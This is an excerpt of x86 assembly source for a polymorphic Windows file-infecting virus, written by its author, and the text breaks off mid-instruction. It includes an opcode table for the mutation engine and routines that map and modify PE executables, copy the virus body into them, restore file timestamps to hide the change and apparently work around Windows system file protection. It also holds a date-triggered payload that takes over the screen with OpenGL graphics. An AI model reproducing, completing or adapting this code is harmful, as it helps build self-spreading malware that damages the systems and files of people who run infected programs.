0, 13, 0, 0 variance16b Mem , CL0 , 1101001000011000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm8 , 1100000000011000b , 16, 7, 8, 0, 13, 0, 0 instruction16b ROL , Mem , d1 , 1101000000000000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , CL0 , 1101001000000000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm8 , 1100000000000000b , 16, 7, 8, 0, 13, 0, 0 instruction16b ROR , Mem , d1 , 1101000000001000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , CL0 , 1101001000001000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm8 , 1100000000001000b , 16, 7, 8, 0, 13, 0, 0 instruction16b SAR , Mem , d1 , 1101000000111000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , CL0 , 1101001000111000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm8 , 1100000000111000b , 16, 7, 8, 0, 13, 0, 0 instruction16b SHL , Mem , d1 , 1101000000100000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , CL0 , 1101001000100000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm8 , 1100000000100000b , 16, 7, 8, 0, 13, 0, 0 instruction16b SHR , Mem , d1 , 1101000000101000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , CL0 , 1101001000101000b , 16, 7, 8, 0, 13, 0, 0 variance16b Mem , Imm8 , 1100000000101000b , 16, 7, 8, 0, 13, 0, 0 instruction MOVZX , RegWord , Mem8 , 1011011000000000b , 32, 0, 16, 18, 21, 0, 0 variance RegWord , Mem16 , 1011011100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb MOVSX , RegWord , Mem8 , 1011111000000000b , 32, 0, 16, 18, 21, 0, 0 varianceb RegWord , Mem16 , 1011111100000000b , 32, 0, 16, 18, 21, 0, 0 instruction8 AAA , NULL , NULL , 00110111b , 8, 0, 0, 0, 0, 0, 0 instruction8b AAS , NULL , NULL , 00111111b , 8, 0, 0, 0, 0, 0, 0 instruction8b CLC , NULL , NULL , 11111000b , 8, 0, 0, 0, 0, 0, 0 instruction8b CLD , NULL , NULL , 11111100b , 8, 0, 0, 0, 0, 0, 0 instruction8b CLI , NULL , NULL , 11111010b , 8, 0, 0, 0, 0, 0, 0 instruction8b CMC , NULL , NULL , 11110101b , 8, 0, 0, 0, 0, 0, 0 instruction8b CMPSB , NULL , NULL , 10100110b , 8, 0, 0, 0, 0, 0, 0 instruction8b CMPSD , NULL , NULL , 10100111b , 8, 0, 0, 0, 0, 0, 0 instruction8b CWD , NULL , NULL , 10011001b , 8, 0, 0, 0, 0, 0, 0 instruction8b CWDE , NULL , NULL , 10011000b , 8, 0, 0, 0, 0, 0, 0 instruction8b DAA , NULL , NULL , 00100111b , 8, 0, 0, 0, 0, 0, 0 instruction8b DAS , NULL , NULL , 00101111b , 8, 0, 0, 0, 0, 0, 0 instruction8b HLT , NULL , NULL , 11110100b , 8, 0, 0, 0, 0, 0, 0 instruction8b INSB , NULL , NULL , 01101100b , 8, 0, 0, 0, 0, 0, 0 instruction8b INSD , NULL , NULL , 01101101b , 8, 0, 0, 0, 0, 0, 0 instruction8b INT3 , NULL , NULL , 11001100b , 8, 0, 0, 0, 0, 0, 0 instruction8b INTO , NULL , NULL , 11001110b , 8, 0, 0, 0, 0, 0, 0 instruction8b IRETD , NULL , NULL , 11001111b , 8, 0, 0, 0, 0, 0, 0 instruction8b LAHF , NULL , NULL , 10011111b , 8, 0, 0, 0, 0, 0, 0 instruction8b LEAVE , NULL , NULL , 11001001b , 8, 0, 0, 0, 0, 0, 0 instruction8b LODSB , NULL , NULL , 10101100b , 8, 0, 0, 0, 0, 0, 0 instruction8b LODSD , NULL , NULL , 10101101b , 8, 0, 0, 0, 0, 0, 0 instruction8b MOVSB , NULL , NULL , 10100100b , 8, 0, 0, 0, 0, 0, 0 instruction8b MOVSD , NULL , NULL , 10100101b , 8, 0, 0, 0, 0, 0, 0 instruction8b NOP , NULL , NULL , 10010000b , 8, 0, 0, 0, 0, 0, 0 instruction8b OUTSB , NULL , NULL , 01101110b , 8, 0, 0, 0, 0, 0, 0 instruction8b OUTSD , NULL , NULL , 01101111b , 8, 0, 0, 0, 0, 0, 0 instruction8b POPAD , NULL , NULL , 01100001b , 8, 0, 0, 0, 0, 0, 0 instruction8b POPFD , NULL , NULL , 10011101b , 8, 0, 0, 0, 0, 0, 0 instruction8b PUSHAD , NULL , NULL , 01100000b , 8, 0, 0, 0, 0, 0, 0 instruction8b PUSHFD , NULL , NULL , 10011100b , 8, 0, 0, 0, 0, 0, 0 instruction8b SALC , NULL , NULL , 11010110b , 8, 0, 0, 0, 0, 0, 0 instruction8b SAHF , NULL , NULL , 10011110b , 8, 0, 0, 0, 0, 0, 0 instruction8b SCASB , NULL , NULL , 10101110b , 8, 0, 0, 0, 0, 0, 0 instruction8b SCASD , NULL , NULL , 10101111b , 8, 0, 0, 0, 0, 0, 0 instruction8b STC , NULL , NULL , 11111001b , 8, 0, 0, 0, 0, 0, 0 instruction8b STD , NULL , NULL , 11111101b , 8, 0, 0, 0, 0, 0, 0 instruction8b STI , NULL , NULL , 11111011b , 8, 0, 0, 0, 0, 0, 0 instruction8b STOSB , NULL , NULL , 10101010b , 8, 0, 0, 0, 0, 0, 0 instruction8b STOSD , NULL , NULL , 10101011b , 8, 0, 0, 0, 0, 0, 0 instruction8b WAIT , NULL , NULL , 10011011b , 8, 0, 0, 0, 0, 0, 0 instruction8b XLAT , NULL , NULL , 11010111b , 8, 0, 0, 0, 0, 0, 0 instruction8b LOCK , NULL , NULL , 11110000b , 8, 0, 0, 0, 0, 0, 0 instruction8b REP , NULL , NULL , 11110011b , 8, 0, 0, 0, 0, 0, 0 instruction8b REPNZ , NULL , NULL , 11110010b , 8, 0, 0, 0, 0, 0, 0 instruction8 XCHG , AccWord , RegWord, 10010000b , 8, 0, 0, 5, 0, 0, 0 ; variance RegWord , AccWord, 10010000b , 8, 0, 0, 5, 0, 0, 0 variance16 Mem , Reg , 1000011000000000b , 16, 7, 8, 10, 13, 0, 0 instruction8 ENTER , Imm16 , Imm8 , 11001000b , 8, 0, 0, 0, 0, 0, 0 instruction8 IN , Acc , Imm8 , 11100100b , 8, 7, 0, 0, 0, 0, 0 variance8 Acc , DX0 , 11101100b , 8, 7, 0, 0, 0, 0, 0 instruction8 OUT , Imm8 , Acc , 11100110b , 8, 7, 0, 0, 0, 0, 0 variance8 DX0 , Acc , 11101110b , 8, 7, 0, 0, 0, 0, 0 instruction8 INT , Imm8 , NULL , 11001101b , 8, 0, 0, 0, 0, 0, 0 instruction16 INVD , NULL , NULL , 0000111100001000b , 16, 0, 0, 0, 0, 0, 0 instruction16b RSM , NULL , NULL , 0000111110101010b , 16, 0, 0, 0, 0, 0, 0 instruction16b RDMSR , NULL , NULL , 0000111100110010b , 16, 0, 0, 0, 0, 0, 0 instruction16b RDTSC , NULL , NULL , 0000111101010001b , 16, 0, 0, 0, 0, 0, 0 instruction16b RDPMC , NULL , NULL , 0000111100110011b , 16, 0, 0, 0, 0, 0, 0 instruction16b WBINVD , NULL , NULL , 0000111100001001b , 16, 0, 0, 0, 0, 0, 0 instruction16b WRMSR , NULL , NULL , 0000111100110000b , 16, 0, 0, 0, 0, 0, 0 instruction16b CLTS , NULL , NULL , 0000111100000110b , 16, 0, 0, 0, 0, 0, 0 instruction16b CPUID , NULL , NULL , 0000111110100010b , 16, 0, 0, 0, 0, 0, 0 instruction16 ARPL , Mem16 , Reg16 , 0110001100000000b , 16, 0, 8, 10, 13, 0, 0 instruction16b BOUND , Reg32 , Mem64 , 0110001000000000b , 16, 0, 8, 10, 13, 0, 0 instruction16 BSWAP , RegWord , NULL , 0000111111001000b , 16, 0, 0, 13, 0, 0, 0 instruction16 DIV , Mem , NULL , 1111011000110000b , 16, 7, 8, 0, 13, 0, 0 instruction16b IDIV , Mem , NULL , 1111011000111000b , 16, 7, 8, 0, 13, 0, 0 instruction16 IMUL , RegWord , MemWIm8, 0110101100000000b , 16, 0, 8, 10, 13, 0, 0 variance16 RegWord , MemWImm, 0110100100000000b , 16, 0, 8, 10, 13, 0, 0 variance16 RegWord , Imm8 , 0110101111000000b , 16, 0, 0, 10, 0, 0, 0 variance16 RegWord , Imm , 0110100111000000b , 16, 0, 0, 10, 0, 0, 0 variance RegWord , MemWord, 1010111100000000b , 32, 0, 16, 18, 21, 0, 0 variance16 Mem , NULL , 1111011000101000b , 16, 7, 8, 0, 13, 0, 0 instruction16 LDS , Reg16 , Mem32 , 1100010100000000b , 16, 0, 8, 10, 13, 0, 0 variance16 Reg32 , Mem64 , 1100010100000000b , 16, 0, 8, 10, 13, 0, 0 instruction16b LES , Reg16 , Mem32 , 1100010000000000b , 16, 0, 8, 10, 13, 0, 0 variance16b Reg32 , Mem64 , 1100010000000000b , 16, 0, 8, 10, 13, 0, 0 instruction16 LEA , RegWord , Mem , 1000110100000000b , 16, 0, 8, 10, 13, 0, 0 instruction16 TEST , Mem , Reg , 1000010000000000b , 16, 7, 8, 10, 13, 0, 0 variance8 Acc , Imm , 10101000b , 8, 7, 0, 0, 0, 0, 0 variance16 Mem , Imm , 1111011000000000b , 16, 7, 8, 0, 13, 0, 0 instruction BSF , RegWord , MemWord, 1011110000000000b , 32, 0, 16, 18, 21, 0, 0 instructionb BSR , RegWord , MemWord, 1011110100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb LSL , RegWord , MemWord, 0000001100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb LAR , RegWord , MemWord, 0000001000000000b , 32, 0, 16, 18, 21, 0, 0 instruction8 AAD , Imm8 , NULL , 11010101b , 8, 0, 0, 0, 0, 0, 0 instruction8b AAM , Imm8 , NULL , 11010100b , 8, 0, 0, 0, 0, 0, 0 instruction BT , MemWord , Imm8 , 1011101000100000b , 32, 0, 16, 0, 21, 0, 0 variance MemWord , RegWord, 1010001100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb BTC , MemWord , Imm8 , 1011101000111000b , 32, 0, 16, 0, 21, 0, 0 varianceb MemWord , RegWord, 1011101100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb BTR , MemWord , Imm8 , 1011101000110000b , 32, 0, 16, 0, 21, 0, 0 varianceb MemWord , RegWord, 1011001100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb BTS , MemWord , Imm8 , 1011101000101000b , 32, 0, 16, 0, 21, 0, 0 varianceb MemWord , RegWord, 1010101100000000b , 32, 0, 16, 18, 21, 0, 0 instruction CMPXCHG , Mem , Reg , 1011000000000000b , 32, 15, 16, 18, 21, 0, 0 instructionb XADD , Mem , Reg , 1100000000000000b , 32, 15, 16, 18, 21, 0, 0 instruction SGDT , Mem64 , NULL , 0000000100000000b , 32, 0, 16, 0, 21, 0, 0 instructionb SIDT , Mem64 , NULL , 0000000100001000b , 32, 0, 16, 0, 21, 0, 0 instructionb LGDT , Mem64 , NULL , 0000000100010000b , 32, 0, 16, 0, 21, 0, 0 instructionb LIDT , Mem64 , NULL , 0000000100011000b , 32, 0, 16, 0, 21, 0, 0 instructionb CMPXCHG8, Mem64 , NULL , 1100011100001000b , 32, 0, 16, 0, 21, 0, 0 instruction LFS , Reg16 , Mem32 , 1011010000000000b , 32, 0, 16, 18, 21, 0, 0 variance Reg32 , Mem64 , 1011010000000000b , 32, 0, 16, 18, 21, 0, 0 instructionb LGS , Reg16 , Mem32 , 1011010100000000b , 32, 0, 16, 18, 21, 0, 0 varianceb Reg32 , Mem64 , 1011010100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb LSS , Reg16 , Mem32 , 1011001000000000b , 32, 0, 16, 18, 21, 0, 0 varianceb Reg32 , Mem64 , 1011001000000000b , 32, 0, 16, 18, 21, 0, 0 instruction LLDT , Mem16 , NULL , 0000000000010000b , 32, 0, 16, 0, 21, 0, 0 instructionb LMSW , Mem16 , NULL , 0000000100110000b , 32, 0, 16, 0, 21, 0, 0 instructionb LTR , Mem16 , NULL , 0000000000011000b , 32, 0, 16, 0, 21, 0, 0 instruction SHLD , MemWord , RegWIm8, 1010010000000000b , 32, 0, 16, 18, 21, 0, 0 variance MemWord , RegWCl , 1010010100000000b , 32, 0, 16, 18, 21, 0, 0 instructionb SHRD , MemWord , RegWIm8, 1010110000000000b , 32, 0, 16, 18, 21, 0, 0 varianceb MemWord , RegWCl , 1010110100000000b , 32, 0, 16, 18, 21, 0, 0 instruction SLDT , Mem16 , NULL , 0000000000000000b , 32, 0, 16, 0, 21, 0, 0 instructionb SMSW , Mem16 , NULL , 0000000100100000b , 32, 0, 16, 0, 21, 0, 0 instructionb STR , Mem16 , NULL , 0000000000001000b , 32, 0, 16, 0, 21, 0, 0 instructionb VERR , Mem16 , NULL , 0000000000100000b , 32, 0, 16, 0, 21, 0, 0 instructionb VERW , Mem16 , NULL , 0000000000101000b , 32, 0, 16, 0, 21, 0, 0 instruction SETcc , Mem8 , NULL , 1001000000000000b , 32, 0, 16, 0, 21, 0, 12 instruction INVLPG , Mem , NULL , 0000000100111000b , 32, 0, 16, 0, 21, 0, 0 instruction CMOVcc , Reg , Mem , 0100000000000000b , 32, 0, 16, 18, 21, 0, 12 db -1 updatecode: push ebx push ecx push edx push esi push edi push eax pushad getval virusbank mov ecx,eax ISyscall LoadBankInfoIt ; Should be a system call mov edi,eax mov dword ptr [esp+20h],eax getval valuefill add eax,edi mov dword ptr [esp+20h-4],eax popad mov dword ptr [eax+8], offset I_Init-InfectStart ; set the image mov ecx,dword ptr [edi+52] mov dword ptr [eax+12], ecx mov dword ptr [eax], offset I_Fini-InfectStart getval virsize ; set virus size mov edx,eax getval dropplace ; and drop place mov ebp,eax mov eax,esi pop esi push esi push eax push edi xor ebx,ebx mov ecx,244 getseedvalue: xor ebx,dword ptr [edi] ror ebx,1 inc edi loop getseedvalue mov ecx,edx ISyscall PolyMorphising ; pass all that to the polymorphic pop edi pop esi mov edi,dword ptr [edi-6] add edi,esi pop esi repz movsb ; repz from bank to file pop edi pop esi pop edx pop ecx pop ebx ret ; ; put here how the file should be updated ; RVA2Offset: push ebx push ecx push edx movzx ecx,word ptr [edi+6] getnextone: mov ebx,dword ptr [edx+12] cmp eax,ebx jb getnext add ebx,dword ptr [edx+8] dec ebx cmp eax,ebx ja getnext sub eax,dword ptr [edx+12] add eax,dword ptr [edx+20] pop edx pop ecx pop ebx ret getnext: add edx,40 loop getnextone pop edx pop ecx pop ebx ret RebuildLoaded: push eax push ecx push edx mov dword ptr [edi+28],0 mov dword ptr [edi+32],0 mov dword ptr [edi+36],0 movzx ecx,word ptr [edi+6] thatgatat: mov eax,dword ptr [edx+16] bt dword ptr [edx+36],5 jnc dontaddcodedata add dword ptr [edi+28],eax dontaddcodedata: bt dword ptr [edx+36],6 jnc dontaddinitdata add dword ptr [edi+32],eax dontaddinitdata: bt dword ptr [edx+36],7 jnc dontadduninitdata push ecx push edx mov eax,dword ptr [edx+8] xor edx,edx mov ecx,dword ptr [edi+60] div ecx inc eax mul ecx add dword ptr [edi+36],eax pop edx pop ecx dontadduninitdata: add edx,40 loop thatgatat pop edx pop ecx pop eax ret goaway5: pop eax I_apicall 03D60E5B1h,0 ; UnmapViewOfFile I_apicall 0F8F846CCh,0 ; CloseHandle pop eax push eax lea edx,[esp+4+4+12+(5*4)] push edx lea edx,[esp+4+4+12+(4*4)] push edx lea edx,[esp+4+4+12+(3*4)] push edx push eax I_apicall 03508B12Bh,0 ; SetFileTime I_apicall 0F8F846CCh,0 ; CloseHandle pop eax add esp,512+12 jmp wefinished ResizeAndRemap: pushad push eax mov edx,esp gogetagain: add edx,4 cmp dword ptr [edx],esi jne gogetagain mov ebx,esi neg ebx cmp dword ptr [edx-4],ebx jne gogetagain pop eax push edx push eax push edx push esi I_apicall 03D60E5B1h,0 ; UnmapViewOfFile pop edx ; save the handles mov eax,dword ptr [edx+4] ; load mapping handle push edx push eax I_apicall 0F8F846CCh,0 ; CloseHandle pop edx pop eax ; load size mov ebx,dword ptr [edx+4+4] ; load file handle sub esp,12 mov edx,esp mov dword ptr [edx],12 mov dword ptr [edx+4],0 mov dword ptr [edx+8],0 push 0 push eax push 0 push 4 push edx push ebx I_apicall 97E2AF98h,0 ; CreateFileMappingA add esp,12 pop edx mov dword ptr [edx+4],eax ; save the handle push edx push 0 push 0 push 0 push 000F001Fh push eax I_apicall 3D547DB1h,0 ; MapViewOfFile pop edx mov dword ptr [edx],eax ; save map handle neg eax mov dword ptr [edx-4],eax ; and neg it neg eax mov dword ptr [esp+4],eax popad ret wefinished: popad getval error pop ebp fini_m0: ret SFCLib: db 'SFC.DLL',0 ISyscall0: db 68h InfectSyscall: dd offset RoutineHandler ret InfectEnd: ; ; Polymorphic module ; PolyStart: dd offset PolyEnd - PolyStart db 1 ; workable system db 1 ; workable infection dd PolySyscall - PolyStart dd Polyroutine - PolyStart PSyscall macro I_ID_CoDE mov dword ptr [esp-12], I_ID_CoDE call PSyscall0 endm Polyroutine: push ecx push edx xor edx,edx mov eax,dword ptr [ebp] mov ecx,714024 div ecx mov ebx,eax pop edx pop ecx push ebp loadpointer ebp,seed,poly24 mov dword ptr [ebp],ebx pop ebp mov ebp,dword ptr [ebp+4] push esi push edi mov byte ptr [edi],0CCh inc edi inc ebp call poly pop esi pop edi inc ecx ret include poly.asm PSyscall0: db 68h PolySyscall: dd 0 ret PolyEnd: ; ; Cool payload module, well this is a inc file container wich contain the asm ; file ; ; note that this file contain the Fast api call calling wich is a cache memory ; for api call, instead of each time recalculation, it's a pointer to a pointer ; to a junk buffer, as a small stack memory is passed to ecx, wich can ; accelerate many times api processing, what can be quite interresting for ; graphical payload as exemple. ; PayloadStart: dd offset PayloadEnd - PayloadStart ; module size db 1 ; workable system db 1 ; workable payload version dd PayloadSyscall - PayloadStart ; External call dd Payloadroutine - PayloadStart ; entrypoint relative PSyscall macro I_ID_CoDE mov dword ptr [esp-12], I_ID_CoDE call PiSyscall0 endm P_apicall macro crcval, libhandle mov edx,libhandle mov eax,crcval PSyscall MApiCall endm FP_apicall macro crcval, libhandle, lpval loadpointer ecx, Papindirected , &lpval& mov edx,libhandle mov eax,crcval PSyscall FApiCall endm Payloadroutine: pushad sub esp,16 mov ebx,esp push ebx push ebx P_apicall 0B50DB39h,0 pop ebx cmp word ptr [ebx+6],20 ; in memory of cecile, jne skippayload ; all started 20 octobre... cmp word ptr [ebx+2],10 jne skippayload pushfl macro float1, f2 call &f2&_getme1 &f2&_getme1: pop ebx fld qword ptr [ebx+&f2&_load-&f2&_getme1] sub esp,8 fstp qword ptr [esp] jmp &f2&_end &f2&_load: dq &float1& &f2&_end: endm ; int 3 loadpointer edx,opengldll,pp4 mov ecx,1 mov eax,7 PSyscall LoadLib cmp eax,0 je finishpayit loadpointer edx,gdi32dll,pp5 mov ecx,1 mov eax,8 PSyscall LoadLib cmp eax,0 je finishpayit loadpointer edx,glu32dll,pp6 mov ecx,1 mov eax,9 PSyscall LoadLib cmp eax,0 je finishpayit sub esp,12 mov edx,esp mov dword ptr [edx],12 mov dword ptr [edx+4],0 mov dword ptr [edx+8],0 loadpointer ebx,InitPayloadThread, i22 push eax push esp push 0 push 0 push ebx push 0 push edx P_apicall 0CA2C0A90h,0 ; Create Thread add esp,12 pop eax finishpayit: jmp PayCallExit opengldll: db 'OPENGL32.DLL',0 gdi32dll: db 'GDI32.DLL',0 glu32dll: db 'GLU32.DLL',0 Papindirected: db 0 InitPayloadThread: loadpointer ebx,Papindirected,ipt mov ecx,32*8 sub esp,ecx mov dword ptr [ebx],esp mov edi,esp xor eax,eax repz stosb ;push 10000 ;P_apicall 3126C0h,0 ; Sleep xor ebp,ebp push 0 P_apicall 1017D1A1h,0,k ; GetModuleHandle push ebp mov edx,esp sub esp,4 mov dword ptr [esp], 'ALC' mov ebx,esp sub esp,40 mov dword ptr [esp],0 lea ecx,[ebp+WindowProc] mov dword ptr [esp+4],ecx mov dword ptr [esp+8],0 mov dword ptr [esp+12],0 mov dword ptr [esp+16],eax mov dword ptr [esp+20],0 mov dword ptr [esp+24],0 mov dword ptr [esp+28],0 mov dword ptr [esp+32],0 mov dword ptr [esp+36],ebx mov ecx,esp push ebx push eax push ecx P_apicall 0D48A96AAh,1 ; RegisterClassA pop eax pop ebx pushad ;int 3 mov ecx,148 sub esp,ecx mov edi,esp xor eax,eax repz stosb mov dword ptr [esp+32+2+2],148 ; dmSize mov dword ptr [esp+104],16 ; dmBitsPerPel mov dword ptr [esp+108],640 ; dmWidth mov dword ptr [esp+112],480 ; dmHeight mov dword ptr [esp+40],1C0000h ; set dmFields = ; DM_BITSPERPEL | DM_PELSWIDTH | DM_PELSHEIGHT mov edx,esp push 4 ; CDS_FULLSCREEN push edx ; dmScreenSettings P_apicall 56C779B2h,1 ; ChangeDisplaySettingsA add esp,148 push 0 P_apicall 7F2EA568h,1 ; ShowCursor popad sub esp,4 mov dword ptr [esp], 'LGO' mov ebp,esp push 0 push eax push 0 push 0 push 480 push 640 push 0 push 0 push 90020000h push ebp push ebx push 0400000h P_apicall 7099FB9Ch,1 ; CreateWindowExA add esp,40 pop esp pop ebp mov edx,esp push edx sub esp,44 mov ebx,esp DoMLoop: push eax push ebx push 0 push 0 push eax push ebx P_apicall 3BAC79F3h,1 ; GetMessageA cmp eax,0 jne dontfixit dontfixit: pop ebx pop eax je finishMLoop push eax push ebx push ebx P_apicall 50D9920Ch,1 ; TranslateMessage pop ebx push ebx push ebx P_apicall 5BFFA45Ch,1 ; DispatchMessageA pop ebx pop eax jmp DoMLoop finishMLoop: lea esp,[ebx+44] pop esp ;push 0 ;call ExitProcess ret ; Thread return WindowProc: lpamval equ 16 wpamval equ 12 umsgval equ 8 hwndval equ 4 cmp dword ptr [esp+umsgval],86h ; WM_NCACTIVE je gogoawayme cmp dword ptr [esp+umsgval],6h ; WM_ACTIVATE jne skipcreat ; Cecile, three week passed, I'm crying the news I don't have, I'm crying ; the love I don't have, I'm crying the passion u don't have, Cecile, you ; are so far I don't want anything much from your part... gogoawayme: pushad push dword ptr [esp+20h+hwndval] P_apicall 0A74E296Ch,1 ; SetForegroundWindow push dword ptr [esp+20h+hwndval] P_apicall 619AD6D8h,1 ; SetFocus push dword ptr [esp+20h+hwndval] P_apicall 0CC447A6Eh,1 ; SetActiveWindow popad xor eax,eax ret 16 skipcreat: ;cmp dword ptr [esp+umsgval],10h ; WM_CLOSE ;jne skipQuitting ; ;quitting: ; ;push 0 ;call PostQuitMessage ;xor eax,eax ;ret 16 skipQuitting: cmp dword ptr [esp+umsgval],01h jne SkipCreating ;int 3 push dword ptr [esp+hwndval] FP_apicall 002ACB18h,1,k282 ; GetDC sub esp,40 mov edx,eax mov edi,esp ; Create the pixel format xor eax,eax ; descriptor mov ecx,40 repz stosb mov eax,edx mov word ptr [esp],40 ; fill open gl size mov word ptr [esp+2],1 ; fill the version mov dword ptr [esp+4],37 ; support opengl + draw window ; + double buff mov byte ptr [esp+9],16 ; Color bit mov byte ptr [esp+17],16 ; Depth bit mov ecx,esp push ecx ; ecx = *pfd push eax ; eax = the DC push ecx ; push eax ; P_apicall 7667726Eh,8 ; ChoosePixelFormat cmp eax,0 pop ebx ; ebx = DC pop ecx ; ecx = *pfd je fixstackandExit push ebx push ecx push eax ; eax = pixelformat push ebx FP_apicall 073D91C5Eh,8,k321 ; SetPixelFormat ; we setted pixel format :) cmp eax,0 pop eax je fixstackandExit push eax push eax FP_apicall 4FE0E526h,7,k329 ; wglCreateContext ; setting open gl context cmp eax,0 pop ebx je fixstackandExit push eax push ebx FP_apicall 07772016h,7,k337 ; wglMakeCurrent ; set our open gl context ;push 0BE2h ;call glEnable ; enable blending push 0B57h FP_apicall 075D1F228h,7,k343 ; glEnable ; enable material coloration push 0B50h FP_apicall 075D1F228h,7,k346 ; glEnable ; enable ligthing push 4000h FP_apicall 075D1F228h,7,k349 ; glEnable ; enable light 1 add esp,40 xor eax,eax ret 16 fixstackandExit: add esp,40 push 0 P_apicall 07818C6Bh,1 ; PostQuitMessage xor eax,eax ret 16 SkipCreating: cmp dword ptr [esp+umsgval],05h ; WM_SIZE jne skipResizing mov eax,dword ptr [esp+lpamval] mov edx,eax ror edx,16 movzx ecx,dx ror edx,16 and edx,0FFFFh push ecx push edx push 0 push 0 FP_apicall 084F77E3Dh,7,k382 ; glViewport push 01701h FP_apicall 0CC25D186h,7,k385 ; glMatrixMode FP_apicall 0B7550A81h,7,k387 ; glLoadIdentity ; glu perspective pushfl 250.000001,d1 pushfl 1.000001,d2 pushfl 1.6,d3 pushfl 45.00001,d4 P_apicall 052CF8CB5h,9 ; gluPerspective ; me the conversion push 01D01h P_apicall 06F425C00h,7 ; glShadeModel xor eax,eax ret 16 skipResizing: cmp dword ptr [esp+umsgval],0Fh ; WM_PAINT jne skipPaint push 4100h P_apicall 0EB925D0h,7 ; glClear push 01700h P_apicall 0CC25D186h,7 ; glMatrixMode P_apicall 0B7550A81h,7 ; glLoadIdentity pushfl 1.00001,c1 mov ecx,5 makeit: push 0 push 0 loop makeit mov ecx,3 makethat: pushfl 10.00001,c7 loop makethat P_apicall 0B40F59E3h,9 ; gluLookAt call getNear getNear: pop ebx lea ebx,[ebx+LightPosition-getNear] push ebx push 01203h push 4000h FP_apicall 0AF5F0533h,7,k440 ; glLightfv call drawme1 drawme1: pop ebx lea edx,[ebx+drawme-drawme1] push edx push 0 push 0 push 0 push 0 fld qword ptr [edx+8+8+8+8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8*7] sub esp,8 fstp qword ptr [esp] FP_apicall 0B03D1463h,7,k462 ; glRotated ; ; push 01202h ; push 0408h ; call glColorMaterial ; pop edx push edx fld qword ptr [edx+8+8+8+8+8] fadd qword ptr [edx+8+8+8+8] fstp qword ptr [edx+8+8+8+8+8] fld qword ptr [edx+6*8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+4*8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+4*8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+4*8] sub esp,8 fstp qword ptr [esp] FP_apicall 0AE59E423h,7,k491 ; glColor4d push 7 ; GL_QUADS FP_apicall 0EB83BB0h,7,k494 ; glBegin pop edx mov dword ptr [edx],0 ; reset X coordinates mov dword ptr [edx+4],0 ; taaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam ; int 3 fld qword ptr [edx-(3*8)] fadd qword ptr [edx-(6*8)] fstp qword ptr [edx-(3*8)] fld qword ptr [edx-(2*8)] fadd qword ptr [edx-(5*8)] fstp qword ptr [edx-(2*8)] fld qword ptr [edx-(1*8)] fadd qword ptr [edx-(4*8)] fstp qword ptr [edx-(1*8)] mov ecx,3 DrawAll2: push ecx mov dword ptr [edx+calcpos-drawme],0 mov dword ptr [edx+8],0 mov dword ptr [edx+8+4],0 mov ebx,3 sub ebx,ecx mov ecx,9 DrawAll1: push ecx fld qword ptr [edx+(ebx*8)-(3*8)] fstp qword ptr [edx+8+8] ; mov dword ptr [edx+8+8],0 ; mov dword ptr [edx+8+8+4],0 mov ecx,456 DrawAll: push ecx call DrawCarre fld qword ptr [edx+8+8] fsub qword ptr [edx+8+8+8+8] fstp qword ptr [edx+8+8] pop ecx loop DrawAll fld qword ptr [edx+8] fsub qword ptr [edx+8+8+8+8] fstp qword ptr [edx+8] pop ecx loop DrawAll1 fld qword ptr [edx] fsub qword ptr [edx+8+8+8+8] fstp qword ptr [edx] pop ecx loop DrawAll2 FP_apicall 03AE8A0h,7,k566 ; glEnd push dword ptr [esp+hwndval] FP_apicall 02ACB18h,1,k569 ; GetDC push eax FP_apicall 0424E4ADFh,8,k572 ; SwapBuffers xor eax,eax ret 16 skipPaint: push dword ptr [esp+lpamval] push dword ptr [esp+4+wpamval] push dword ptr [esp+4+4+umsgval] push dword ptr [esp+4+4+4+hwndval] FP_apicall 023ED6274h,1,k583 ; DefWindowProcA ret 16 DrawCarre: call testpos cmp eax,0 je Drawcasse ret Drawcasse: push edx fld qword ptr [edx] ; Z coord sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8] ; Y coord fadd qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8+8] ; X coord fsub qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] FP_apicall 084A94FFDh,7,k612 ; glVertex3d pop edx push edx fld qword ptr [edx] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8] fadd qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8+8] fadd qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] FP_apicall 084A94FFDh,7,k630 ; glVertex3d pop edx push edx fld qword ptr [edx] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8] fsub qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8+8] fadd qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] FP_apicall 084A94FFDh,7,k648 ; glVertex3d pop edx push edx fld qword ptr [edx] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8] fsub qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] fld qword ptr [edx+8+8] fsub qword ptr [edx+8+8+8] sub esp,8 fstp qword ptr [esp] FP_apicall 084A94FFDh,7,k666 ; glVertex3d pop edx ret testpos: ;int 3 pushad call gettest gettest: pop ebx lea ebx,[ebx+calcpos-gettest] mov edx,dword ptr [ebx] inc dword ptr [ebx] mov ecx,edx shr edx,3 mov eax,dword ptr [ebx+4+edx] and ecx,0111b ror eax,cl and eax,1 mov dword 